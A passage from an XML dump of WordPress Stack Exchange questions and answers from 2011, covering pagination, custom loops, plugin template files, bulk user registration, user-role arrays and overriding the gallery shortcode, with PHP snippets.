class=&quot;authorpostimg&quot;/&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; class=&quot;authorpostlink&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php&#xA;&#xA;        endforeach;  &#xA;&#xA;        wnw_authpagination($authloop-&amp;gt;max_num_pages);&#xA;&#xA;} else {&#xA;        echo '&amp;lt;p&amp;gt;No articles by this user&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the scenario for further understanding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supposed the blog has a total of 30 blog posts, and the author Ven Francis has 15. If you can see on my variable, i did set the post_per_page value to 5. And on Kreisi's function it has the range of 2. (please visit the link to his code to further figure it out) So what it has to happen is that, pagination should show 5 page-buttons&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[c] [2] [3] [&gt;] [&gt;&gt;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where [c] is the current... [3] and [&gt;&gt;] is the last page(3rd page). But what is happening on my situation is that, when you hover the [&gt;&gt;] it shows /page/6 and i think it's getting the total number of posts of the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you click on 3(3rd page). It will still show the 4,5 and [&gt;&gt;] and it should not. like below illustration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&amp;lt;&amp;lt;] [&amp;lt;] [1] [2] [c] [4] [5] [&gt;] [&gt;&gt;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you understand the scenario and the problem. Thanks again and God bless! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: kreisi's not doing a support for his brilliant code anymore, so i gotta do this on my own. an i need a little help from you guys. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5475" LastActivityDate="2011-05-28T11:57:54.917" Title="Paginate Author's Post List on Custom Author Page (ANOTHER THEORY)" Tags="&lt;customization&gt;&lt;pagination&gt;&lt;author&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17602" PostTypeId="2" ParentId="17534" CreationDate="2011-05-18T15:52:38.780" Score="0" ViewCount="" Body="&lt;p&gt;Another way I've done this is grabbing the posts directly, instead of using wp_nav_menu. This is based on the actual page structure, though, not the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct()&#xA;{&#xA;    $this-&amp;gt;currentPageID    = $this-&amp;gt;getCurrentPageID();&#xA;    $this-&amp;gt;sectionChildren    = $this-&amp;gt;getSectionChildren();&#xA;}&#xA;&#xA;function getCurrentPageID()&#xA;{&#xA;    $currentPage = $_SERVER['REQUEST_URI'];&#xA;&#xA;    if($currentPage == '/')&#xA;        $currentPage = '/home';&#xA;    $currentPage = get_page_by_path($currentPage);&#xA;&#xA;    if($currentPage)&#xA;        return $currentPage-&amp;gt;ID;&#xA;    else&#xA;        return -1;&#xA;}&#xA;&#xA;function getSectionID()&#xA;{&#xA;    global $wpdb;&#xA;&#xA;    $currentSectionID = $wpdb-&amp;gt;get_var(&quot;&#xA;        SELECT post_parent&#xA;        FROM &quot;. $wpdb-&amp;gt;posts .&quot;&#xA;        WHERE ID = &quot;. $this-&amp;gt;currentPageID&#xA;    );&#xA;&#xA;    if($currentSectionID == 0)&#xA;        return $this-&amp;gt;currentPageID;&#xA;    else&#xA;        return $currentSectionID;&#xA;}&#xA;&#xA;function getSectionChildren()&#xA;{&#xA;    global $wpdb;&#xA;&#xA;    $children = $wpdb-&amp;gt;get_results(&quot;&#xA;        SELECT ID, post_title&#xA;        FROM &quot;. $wpdb-&amp;gt;posts .&quot;&#xA;        WHERE&#xA;            post_parent = &quot;. $this-&amp;gt;getSectionID() .&quot; AND&#xA;            post_type = 'page' AND&#xA;            post_status = 'publish'&#xA;    &quot;, ARRAY_A);&#xA;&#xA;    return $children;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sidebar.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;sub-navigation&quot;&amp;gt;&#xA;    &amp;lt;?php foreach($dc-&amp;gt;sectionChildren as $c) : ?&amp;gt;&#xA;        &amp;lt;li &amp;lt;?php if($dc-&amp;gt;currentPageID == $c['ID']) echo 'class=&quot;active&quot;'; ?&amp;gt;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($c['ID']); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $c['post_title']; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-05-18T15:52:38.780" CommentCount="1" />
  <row Id="17603" PostTypeId="2" ParentId="17532" CreationDate="2011-05-18T15:53:32.867" Score="0" ViewCount="" Body="&lt;p&gt;If you want to reach the &quot;single&quot; page of a custom post type (or even a regular post), you can do this by going to &lt;code&gt;http://example.com?p=[post_id]&amp;amp;post_type=[post_type_name]&lt;/code&gt;. If you use &lt;em&gt;Pretty permalinks&lt;/em&gt; WordPress will redirect you to the &quot;canonical&quot; link, which may look like &lt;code&gt;http://example.com/my-post-type/my-post-name/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by changing the &lt;code&gt;target&lt;/code&gt; of your form and the &lt;code&gt;post_id&lt;/code&gt; hidden input to &lt;code&gt;p&lt;/code&gt; it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class='product_form' action=&quot;checkout&quot; method=&quot;get&quot; target=&quot;&amp;lt;?php home_url(); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;p&quot; type=&quot;hidden&quot; value=&quot;&amp;lt;?=$post-&amp;gt;ID?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;input type='image' src='&amp;lt;?php  bloginfo('template_url'); ?&amp;gt;/images/buy.png' class='wpsc_buy_button' /&amp;gt; &#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-18T15:53:32.867" />
  <row Id="17604" PostTypeId="1" AcceptedAnswerId="17605" CreationDate="2011-05-18T15:58:05.487" Score="0" ViewCount="183" Body="&lt;p&gt;I'm working on a project where I need display 2 post from one category and also I need to put another loop between this post post to display random list of post from other category. Easiest way to do so is to create 3 queries, but when I created 2 queries for one category, but here I got problem one loop breaks and display both posts, second works fine. I used offset parameter for second query but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;        $first_query_args = array(&#xA;          'category_name' =&amp;gt; 'first-category',&#xA;          'tag' =&amp;gt; 'special-tag',&#xA;          'post_per_page' =&amp;gt; 1,&#xA;        );&#xA;&#xA;        $first_query = new WP_Query( $first_query_args );&#xA;&#xA;        if ( $first_query-&amp;gt;have_posts() ) : while ( $first_query-&amp;gt;have_posts() ) : $first_query-&amp;gt;the_post();&#xA;&#xA;        // First query stuff goes here&#xA;&#xA;        endwhile; endif;&#xA;&#xA;        wp_reset_query(); &#xA;&#xA;        // Query for Random posts&#xA;        $query_for_random_args = array(&#xA;            'category_name' =&amp;gt; 'cat-for-rand',&#xA;            'post_per_page' =&amp;gt; 3,&#xA;            'orderby' =&amp;gt; 'rand',&#xA;        );&#xA;&#xA;        $query_for_random = new WP_Query( $query_for_random_args );&#xA;&#xA;        if ( $query_for_random-&amp;gt;have_posts() ) :&#xA;    ?&amp;gt;&#xA;&#xA;        &amp;lt;ul&amp;gt;&#xA;&#xA;        &amp;lt;?php while ( $query_for_random-&amp;gt;have_posts() ) : $query_for_random-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;?php if ( has_post_thumbnail() ) { ?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail( 'list-image' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; &amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php } endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; wp_reset_query(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;&#xA;&#xA;        $second_query_args = array(&#xA;          'category_name' =&amp;gt; 'first-category',&#xA;          'tag' =&amp;gt; 'special-tag',&#xA;          'offset' =&amp;gt; 1,&#xA;          'post_per_page' =&amp;gt; 1,&#xA;        );&#xA;&#xA;        $second_query = new WP_Query( $second_query_args );&#xA;&#xA;        if ( $second-&amp;gt;have_posts() ) : while ( $second_query-&amp;gt;have_posts() ) : $second_query-&amp;gt;the_post();&#xA;&#xA;        // Second query stuff goes here&#xA;&#xA;        endwhile; endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;( This code What I use for those loops )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how can I solve this problem? or how can I use 2 queries for similar task?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;George&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditorDisplayName="" LastEditDate="2011-05-18T20:59:29.537" LastActivityDate="2011-05-19T12:43:58.917" Title="Loop inside the loop" Tags="&lt;wp-query&gt;&lt;loop&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="17605" PostTypeId="2" ParentId="17604" CreationDate="2011-05-18T16:17:00.133" Score="1" ViewCount="" Body="&lt;p&gt;I would use &lt;code&gt;get_posts()&lt;/code&gt; for your two &lt;em&gt;ad hoc&lt;/em&gt; Loops. (Actually, you only need one &lt;em&gt;ad hoc&lt;/em&gt; Loop, if you're modifying the main Loop so that only 2 posts are retrieved.) e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\\ code modify main Loop to return only 2 posts goes here&#xA;&#xA;$firstpost = true;&#xA;&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&#xA;    \\ main Loop Post output goes here&#xA;&#xA;    if ( $firstpost ) {&#xA;&#xA;        $randomposts = get_posts( array( 'category' =&amp;gt; $categoryid, 'numberposts' = $numberposts, 'orderby' =&amp;gt; 'rand' );&#xA;&#xA;        \\ Output ad-hod Loop content, e.g.&#xA;        ?&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php&#xA;        foreach ( $randomposts as $randompost ) { ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink( $randompost-&amp;gt;ID ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $randompost-&amp;gt;post_title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;?php }&#xA;&#xA;   $firstpost = false;&#xA;&#xA;// end the main Loop&#xA;endwhile; endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Untested example code)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-19T12:43:58.917" LastActivityDate="2011-05-19T12:43:58.917" CommentCount="6" />
  <row Id="17606" PostTypeId="2" ParentId="17541" CreationDate="2011-05-18T16:33:19.720" Score="3" ViewCount="" Body="&lt;p&gt;Review this WordPress codex guide: &lt;a href=&quot;http://codex.wordpress.org/Upgrading_WordPress_Extended#Detailed_Upgrade_Instructions_for_1.5.x.2C_and_versions_2.0_-_2.6.5.2C_to_3.1.2&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Upgrading_WordPress_Extended#Detailed_Upgrade_Instructions_for_1.5.x.2C_and_versions_2.0_-_2.6.5.2C_to_3.1.2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-05-18T16:33:19.720" />
  <row Id="17607" PostTypeId="2" ParentId="17601" CreationDate="2011-05-18T16:34:56.427" Score="1" ViewCount="" Body="&lt;p&gt;Try my (free &amp;amp; open source) &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon&quot; rel=&quot;nofollow&quot;&gt;&quot;Easy Pagination Deamon&quot;&lt;/a&gt;. It's pretty advanced and should work on author templates too. Just stick with the readme presented on the link and works for paginated posts &amp;amp; pages too. You can also integrate it in your theme folder and call it in your functions.php with something like &lt;code&gt;include_once( 'pagination.class.php' );&lt;/code&gt; and then call it in your tempalte with &lt;code&gt;oxo_pagination( array( 'your arguments' ) );&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-18T16:34:56.427" />
  <row Id="17608" PostTypeId="2" ParentId="17594" CreationDate="2011-05-18T16:39:32.290" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://www.w3.org/TR/css3-mediaqueries/&quot; rel=&quot;nofollow&quot;&gt;media queries&lt;/a&gt;. If you change your output depending on the user agent, you have to disallow proxy caches, and even caching in local static files will become unnecessary hard. And don’t forget to send a header &lt;code&gt;Vary: User Agent&lt;/code&gt; – this will &lt;a href=&quot;http://zoompf.com/blog/2010/03/the-big-performance-improvement-in-ie9-no-one-is-talking-about&quot; rel=&quot;nofollow&quot;&gt;slow down&lt;/a&gt; your site loading times in every browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;http://www.smashingmagazine.com/2010/07/19/how-to-use-css3-media-queries-to-create-a-mobile-version-of-your-website/&quot; rel=&quot;nofollow&quot;&gt;How To Use CSS3 Media Queries To Create a Mobile Version of Your Website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-18T16:39:32.290" />
  <row Id="17609" PostTypeId="1" AcceptedAnswerId="17612" CreationDate="2011-05-18T16:46:13.203" Score="4" ViewCount="66" Body="&lt;p&gt;Basically I've made a plugin to create a new post type (event).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to create a &lt;code&gt;single-event.php&lt;/code&gt; layout file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to have to stick it in the theme folder, I want to put it into my plugin folder. How do I make wordpress know its there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-05-18T17:06:10.383" Title="Create theme files for plugin" Tags="&lt;plugins&gt;&lt;themes&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17610" PostTypeId="1" CreationDate="2011-05-18T16:46:39.320" Score="2" ViewCount="52" Body="&lt;p&gt;I just designed a blog to go with our small classic car club website here in the south of Spain. Before I make it available to club members I need to do something about registration. I have read up on as much as I can find but couldn't find an answer to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to be able to pre-register the 60 or so members so that they can post and comment from the outset (some are not very computer literate and registering first might throw them for a loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at the user creation part of Dashboard and it would be very laborious to have to do this for every member. Is there a simple way to create, say, contributor rights for all the members?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have their names and email addresses - e.g. in an excel file. Is there any way to cut and paste from, or import a pre-defined list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help...&lt;/p&gt;&#xA;" OwnerUserId="5476" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-18T17:58:03.620" LastActivityDate="2011-05-18T17:58:03.620" Title="Can I bulk register contributors for a new blog" Tags="&lt;users&gt;&lt;registration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17611" PostTypeId="1" AcceptedAnswerId="17616" CreationDate="2011-05-18T16:47:47.400" Score="2" ViewCount="80" Body="&lt;p&gt;Is there a plugin available that does for custom fields what &lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;Scribu&lt;/a&gt;'s excellent &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Taxonomy Drill-Down&lt;/a&gt; (formerly called Query Multiple Taxonomies) does for taxonomies?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-05-18T17:14:06.637" Title="Plugin similar to Taxonomy Drill-Down for custom fields?" Tags="&lt;custom-field&gt;&lt;plugin-recommendation&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="17612" PostTypeId="2" ParentId="17609" CreationDate="2011-05-18T17:06:10.383" Score="4" ViewCount="" Body="&lt;p&gt;Here is the code that will let you return your single-event.php if the post type is event:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_event_template($single_template) {&#xA;    global $post;&#xA;&#xA;    if ($post-&amp;gt;post_type == 'event') {&#xA;        return dirname( __FILE__ ) . '/single-event.php';&#xA;    return $single_template;&#xA;}&#xA;&#xA;add_filter( &quot;single_template&quot;, &quot;my_event_template&quot; ) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-18T17:06:10.383" CommentCount="3" />
  <row Id="17613" PostTypeId="2" ParentId="17610" CreationDate="2011-05-18T17:07:14.387" Score="2" ViewCount="" Body="&lt;p&gt;There's a plugin that will help you import mass numbers from a .csv - &lt;a href=&quot;http://wordpress.org/extend/plugins/csv-user-import/&quot; rel=&quot;nofollow&quot;&gt;CSV User Import&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be sure to setup your excel file with the fields in the right order and save as .csv&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-18T17:07:14.387" CommentCount="2" />
  <row Id="17614" PostTypeId="1" CreationDate="2011-05-18T17:11:28.993" Score="2" ViewCount="110" Body="&lt;p&gt;I used a role editor recently and needed to delete a role. After deleting it I noticed that it began to appear as blank in the edit user role drop-down. After a bit of investigating and deleting entries from the database. I renabled more_fields and the blank boxes reappeared. I then did a db search and found multiple entries in wp_options more_fields as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;a:12:{i:0;s:13:&quot;administrator&quot;;i:1;s:6:&quot;editor&quot;;i:2;s:6:&quot;author&quot;;i:3;s:11:&quot;contributor&quot;;i:4;s:10:&quot;subscriber&quot;;i:5;s:11:&quot;distributor&quot;;i:6;s:10:&quot;integrator&quot;;i:7;s:5:&quot;sales&quot;;i:8;s:7:&quot;support&quot;;i:9;s:7:&quot;revisor&quot;;i:10;s:7:&quot;premier&quot;;i:11;s:9:&quot;marketing&quot;;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adjusting it back to wps default roles like the example below but it causes a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;a:5:{i:0;s:13:&quot;administrator&quot;;i:1;s:6:&quot;editor&quot;;i:2;s:6:&quot;author&quot;;i:3;s:11:&quot;contributor&quot;;i:4;s:10:&quot;subscriber&quot;;}&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have my syntax correct or am I missing something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the database entry to pastebin, you'll notice that the user role array is listed five times. Thanks for the help. &lt;a href=&quot;http://pastebin.com/RpsFytgc&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/RpsFytgc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Dkvy0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-05-18T19:44:59.063" LastActivityDate="2011-06-17T23:03:31.170" Title="How do I properly format the user_role array?" Tags="&lt;users&gt;&lt;user-roles&gt;&lt;array&gt;&lt;plugin-more-fields&gt;&lt;select&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="17615" PostTypeId="2" ParentId="17524" CreationDate="2011-05-18T17:11:37.690" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/csv-user-import/&quot; rel=&quot;nofollow&quot;&gt;CSV User Import&lt;/a&gt; looks promising...looking through the plugin file, I don't see anything regarding registration emails.&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-18T17:11:37.690" CommentCount="1" />
  <row Id="17616" PostTypeId="2" ParentId="17611" CreationDate="2011-05-18T17:14:06.637" Score="2" ViewCount="" Body="&lt;p&gt;I used to have a plugin that did exactly this. It was called Custom Field Taxonomies. Then custom taxonomies happened:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/custom-field-taxonomies/change-of-direction.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/custom-field-taxonomies/change-of-direction.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/query-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/query-custom-fields/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you would like to adopt it.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-18T17:14:06.637" />
  <row Id="17617" PostTypeId="1" CreationDate="2011-05-18T18:15:06.670" Score="0" ViewCount="169" Body="&lt;p&gt;I've created a page that loops posts. Each post acts as a category link so that when you click it brings you to a category archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that wordpress somehow overrides my htaccess and redirects me to the single.php post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ill have a category page called 'Neighborhoods'. Within 'Neighborhoods' I have a post called 'Highland Park'.  When I click 'Highland Park' it brings you to the the single.php not the archive.php of 'Highland Park.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:  I uploaded my wordpress files into a folder called 'pages'.  In my htaccess file I have a rewrite where 'neighborhoods/' is 'pages/category/neighborhoods/'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution? Am I overlooking something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5478" LastActivityDate="2011-06-22T07:19:46.597" Title="How do I redirect a post url to a custom url?" Tags="&lt;customization&gt;&lt;url-rewriting&gt;&lt;htaccess&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="17618" PostTypeId="1" AcceptedAnswerId="17620" CreationDate="2011-05-18T18:16:17.197" Score="0" ViewCount="112" Body="&lt;p&gt;I have the following custom function to replace the &lt;code&gt;gallery_shortcode&lt;/code&gt; function from core. It hooks in at the beginning and works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem&lt;/strong&gt; is that I can't get my custom key/values from the gallery shortcode in there. I receive them in the core function, but they don't get passed into my custom function. I can't really investigate what's going wrong or where they get missing, because i don't get any &lt;code&gt;print_r&lt;/code&gt; output for &lt;code&gt;$attr&lt;/code&gt; inside my custom function. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I added comments for everything I changed from the core to my custom function.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modified_post_gallery( $attr ) &#xA;{&#xA;    // I can't get any output from the following&#xA;    echo '&amp;lt;pre&amp;gt;'; &#xA;            print_r( $attr ); &#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;    // But: i get the expected output if i place the same line inside the core function: &#xA;    /root/wp-include/media.php line 759 and get the actual output including all custom key/values.&#xA;&#xA;    global $post, $wp_locale;&#xA;&#xA;    static $instance = 0;&#xA;    $instance++;&#xA;&#xA;    $output = '';&#xA;&#xA;    // We're trusting author input, so let's at least make sure it looks like a valid orderby statement&#xA;    if ( isset( $attr['orderby'] ) ) &#xA;    {&#xA;        $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );&#xA;        if ( ! $attr['orderby'] )&#xA;            unset( $attr['orderby'] );&#xA;    }&#xA;&#xA;    // extract result from user input &amp;amp; defaults&#xA;    extract( shortcode_atts( array(&#xA;         'order'        =&amp;gt; 'ASC'&#xA;        ,'orderby'      =&amp;gt; 'menu_order ID'&#xA;        ,'id'           =&amp;gt; $post-&amp;gt;ID&#xA;        ,'itemtag'      =&amp;gt; 'span' // CHANGED&#xA;        ,'icontag'      =&amp;gt; 'span' // CHANGED&#xA;        ,'captiontag'   =&amp;gt; 'span' // CHANGED&#xA;        ,'columns'      =&amp;gt; 3&#xA;        ,'size'         =&amp;gt; 'thumbnail'&#xA;        ,'include'      =&amp;gt; ''&#xA;        ,'exclude'      =&amp;gt; ''&#xA;        ,'class'        =&amp;gt; '' // ADDED&#xA;        ,'test'&#xA;    ), $attr ) );&#xA;&#xA;    $id = intval( $id );&#xA;    if ( 'RAND' == $order )&#xA;        $orderby = 'none';&#xA;&#xA;    if ( !empty( $include ) ) &#xA;    {&#xA;        $include = preg_replace( '/[^0-9,]+/', '', $include );&#xA;        $_attachments = get_posts( array( &#xA;             'include'          =&amp;gt; $include&#xA;            ,'post_status'      =&amp;gt; 'inherit'&#xA;            ,'post_type'        =&amp;gt; 'attachment'&#xA;            ,'post_mime_type'   =&amp;gt; 'image'&#xA;            ,'order'            =&amp;gt; $order&#xA;            ,'orderby'          =&amp;gt; $orderby &#xA;        ) );&#xA;&#xA;        $attachments = array();&#xA;        foreach ( $_attachments as $key =&amp;gt; $val ) &#xA;        {&#xA;            $attachments[$val-&amp;gt;ID] = $_attachments[$key];&#xA;        }&#xA;    } &#xA;    elseif ( !empty( $exclude ) ) &#xA;    {&#xA;        $exclude = preg_replace( '/[^0-9,]+/', '', $exclude );&#xA;        $attachments = get_children( array( &#xA;             'post_parent'      =&amp;gt; $id&#xA;            ,'exclude'          =&amp;gt; $exclude&#xA;            ,'post_status'      =&amp;gt; 'inherit'&#xA;            ,'post_type'        =&amp;gt; 'attachment'&#xA;            ,'post_mime_type'   =&amp;gt; 'image'&#xA;            ,'order'            =&amp;gt; $order&#xA;            ,'orderby'          =&amp;gt; $orderby &#xA;        ) );&#xA;    } &#xA;    else &#xA;    {&#xA;        $attachments = get_children( array( &#xA;             'post_parent'      =&amp;gt; $id&#xA;            ,'post_status'      =&amp;gt; 'inherit'&#xA;            ,'post_type'        =&amp;gt; 'attachment'&#xA;            ,'post_mime_type'   =&amp;gt; 'image'&#xA;            ,'order'            =&amp;gt; $order&#xA;            ,'orderby'          =&amp;gt; $orderby &#xA;        ) );&#xA;    }&#xA;&#xA;    // No attachments, so abort&#xA;    if ( empty( $attachments ) )&#xA;        return '';&#xA;&#xA;    // RSS/Atom&#xA;    if ( is_feed() ) &#xA;    {&#xA;        $output = &quot;\n&quot;;&#xA;        foreach ( $attachments as $att_id =&amp;gt; $attachment )&#xA;            $output .= wp_get_attachment_link( $att_id, $size, true ).&quot;\n&quot;;&#xA;&#xA;        return $output;&#xA;    }&#xA;&#xA;    $itemtag = tag_escape( $itemtag );&#xA;    $captiontag = tag_escape( $captiontag );&#xA;    $columns = intval( $columns );&#xA;    $itemwidth = $columns &amp;gt; 0 ? floor( 100/$columns ) : 100;&#xA;    $float = is_rtl() ? 'right' : 'left';&#xA;&#xA;    $selector = 'gallery-'.$instance;&#xA;&#xA;    $gallery_div = '';&#xA;&#xA;    $size_class = sanitize_html_class( $size );&#xA;&#xA;    $gallery_div = '&amp;lt;div id=&quot;'.$selector.'&quot; class=&quot;gallery galleryid-'.$id.' gallery-columns-'.$columns.' gallery-size-'.$size_class.'&quot;&amp;gt;';&#xA;&#xA;    $i = 0;&#xA;    foreach ( $attachments as $id =&amp;gt; $attachment ) &#xA;    {&#xA;        $class = $columns &amp;gt; 0 &amp;amp;&amp;amp; ++$i % $columns == 0 ? ' last' : ''; // ADDED for the single item/image&#xA;&#xA;        $link = isset( $attr['link'] ) &amp;amp;&amp;amp; 'file' == $attr['link'] ? wp_get_attachment_link( $id, $size, false, false ) : wp_get_attachment_link( $id, $size, true, false );&#xA;&#xA;        $output .= '&amp;lt;'.$itemtag.' class=&quot;gallery-item '.$class.'&quot;&amp;gt;'; // ADDED class&#xA;        $output .= '&amp;lt;'.$icontag.' class=&quot;gallery-icon&quot;&amp;gt;'.$link.'&amp;lt;/'.$icontag.'&amp;gt;';&#xA;        if ( $captiontag &amp;amp;&amp;amp; trim($attachment-&amp;gt;post_excerpt) )&#xA;        {&#xA;            $output .= '&amp;lt;'.$captiontag.' class=&quot;wp-caption-text 